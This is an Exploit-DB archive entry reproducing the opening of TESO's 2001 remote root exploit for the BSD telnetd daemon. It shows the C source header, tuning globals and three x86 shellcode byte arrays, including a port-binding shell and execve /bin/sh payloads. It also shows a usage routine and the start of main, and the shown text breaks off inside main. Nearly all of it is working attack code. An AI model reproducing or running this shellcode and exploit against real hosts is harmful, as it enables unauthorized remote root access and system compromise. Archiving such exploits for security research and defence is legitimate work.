Exploit-DB #409
Description: BSD - 'TelnetD' Remote Command Execution (1)
Type: remote
Platform: bsd
Date: 2001-06-09
Author: Teso

Exploit:
/* 7350854 - x86/bsd telnetd remote root exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * bug found by scut 2001/06/09
 * further research by smiler, zip, lorian and me.
 * thanks to zip's cool friend for giving me a testbed to play on
 *
 * tested against: BSDI BSD/OS 4.1
 *                 NetBSD 1.5
 *                 FreeBSD 3.1
 *                 FreeBSD 4.0-REL
 *                 FreeBSD 4.2-REL
 *                 FreeBSD 4.3-BETA
 *                 FreeBSD 4.3-STABLE
 *                 FreeBSD 4.3-RELEASE
 *
 */

#define VERSION "0.0.7"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


/* global variables, uhhohh!
 */
int     mode = 16;
int     num = 245;
int     pop = 31500;    /* puts code at 0x08fdff0a */
int     bs = 1;         /* buffer start */

int     num34 = 244;
int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
int     bs34 = 0;

int     walk;           /* populator walker */
int     force = 0;      /* force exploitation */
int     checkonly = 0;  /* check telnetd only */


void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
        int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
        unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { \
        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
        dest |= val << (8 - bw - len);          /* set value bits */ \
        bw += len; \
}

/* imported from network.c */
#define NET_CONNTIMEOUT 60
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);


/* x86/bsd PIC portshell shellcode
 * by lorian/teso
 * port 0x4444 (might want to change it here)
 */
unsigned char   x86_bsd_portshell[] =
        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
                                /* ^^  ^^ port */
        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
        "\x80";

/* x86/bsd PIC execve shellcode
 * by lorian/teso
 */
unsigned char   x86_bsd_execvesh[] =
        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

/* x86/bsd(i)+solaris execve shellcode
 * by lorian/teso
 */
unsigned char   x86_bsd_compaexec[] =
    "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
    "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
    "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";


unsigned char * shellcode = x86_bsd_compaexec;


#define COL 55


void
usage (char *progname)
{
        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
                "-c\tcheck exploitability only, do not exploit\n"
                "-f\tforce mode, override check results\n\n");
        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
                        "take that, or it will take very long for it (> 1h). beware.\n\n");

        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
                        "\tNetBSD 1.5\n"
                        "\tBSDI BSD/OS 4.1\n\n");

        exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;
        char *                  dest;
        int                     i, j, fd,
                                dots = 0;
        int                     popc;
        struct timeval          start,
                                cur;
        unsigned long long int  g_pct,  /* gaussian percentage */
                                g_all;  /* gaussian overall */


        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
                "by zip, lorian, smiler and scut.\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
                switch (c) {
                case 'n':